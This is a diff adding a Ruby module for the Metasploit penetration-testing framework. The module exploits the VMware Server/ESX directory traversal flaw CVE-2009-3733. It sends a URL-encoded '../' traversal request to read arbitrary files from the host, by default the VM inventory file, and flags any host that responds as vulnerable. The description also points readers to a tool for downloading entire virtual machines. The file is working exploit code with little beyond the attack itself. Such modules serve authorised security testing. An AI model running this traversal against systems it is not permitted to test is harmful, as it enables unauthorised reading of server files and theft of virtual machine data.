|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + # Exploit mixins should be called first |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + # Scanner mixin should be near last |
| 13 | + include Msf::Auxiliary::Scanner |
| 14 | + include Msf::Auxiliary::Report |
| 15 | + include Msf::Module::Deprecated |
| 16 | + |
| 17 | + deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav') |
| 18 | + |
| 19 | + def initialize |
| 20 | + super( |
| 21 | + 'Name' => 'VMware Server Directory Traversal Vulnerability', |
| 22 | + 'Description' => 'This modules exploits the VMware Server Directory Traversal |
| 23 | + vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before |
| 24 | + 2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5 |
| 25 | + allows remote attackers to read arbitrary files. Common VMware server ports |
| 26 | + 80/8222 and 443/8333 SSL. If you want to download the entire VM, check out |
| 27 | + the gueststealer tool.', |
| 28 | + 'Author' => 'CG' , |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ], |
| 33 | + [ 'OSVDB', '59440' ], |
| 34 | + [ 'BID', '36842' ], |
| 35 | + [ 'CVE', '2009-3733' ], |
| 36 | + [ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ] |
| 37 | + ] |
| 38 | + ) |
| 39 | + register_options( |
| 40 | + [ |
| 41 | + Opt::RPORT(8222), |
| 42 | + OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']), |
| 43 | + OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']), |
| 44 | + ], self.class) |
| 45 | + end |
| 46 | + |
| 47 | + def run_host(target_host) |
| 48 | + |
| 49 | + begin |
| 50 | + file = datastore['FILE'] |
| 51 | + trav = datastore['TRAV'] |
| 52 | + res = send_request_raw({ |
| 53 | + 'uri' => trav+file, |
| 54 | + 'version' => '1.1', |
| 55 | + 'method' => 'GET' |
| 56 | + }, 25) |
| 57 | + |
| 58 | + if res.nil? |
| 59 | + print_error("Connection timed out") |
| 60 | + return |
| 61 | + end |
| 62 | + |
| 63 | + if res.code == 200 |
| 64 | + #print_status("Output Of Requested File:\n#{res.body}") |
| 65 | + print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability") |
| 66 | + report_vuln( |
| 67 | + { |
| 68 | + :host => target_host, |
| 69 | + :port => rport, |
| 70 | + :proto => 'tcp', |
| 71 | + :name => self.name, |
| 72 | + :info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}", |
| 73 | + :refs => self.references, |
| 74 | + :exploited_at => Time.now.utc |
| 75 | + } |
| 76 | + ) |
| 77 | + else |
| 78 | + vprint_status("Received #{res.code} for #{trav}#{file}") |
| 79 | + end |
| 80 | + |
| 81 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e |
| 82 | + print_error(e.message) |
| 83 | + rescue ::Timeout::Error, ::Errno::EPIPE |
| 84 | + end |
| 85 | + end |
| 86 | + |
| 87 | +end |
0 commit comments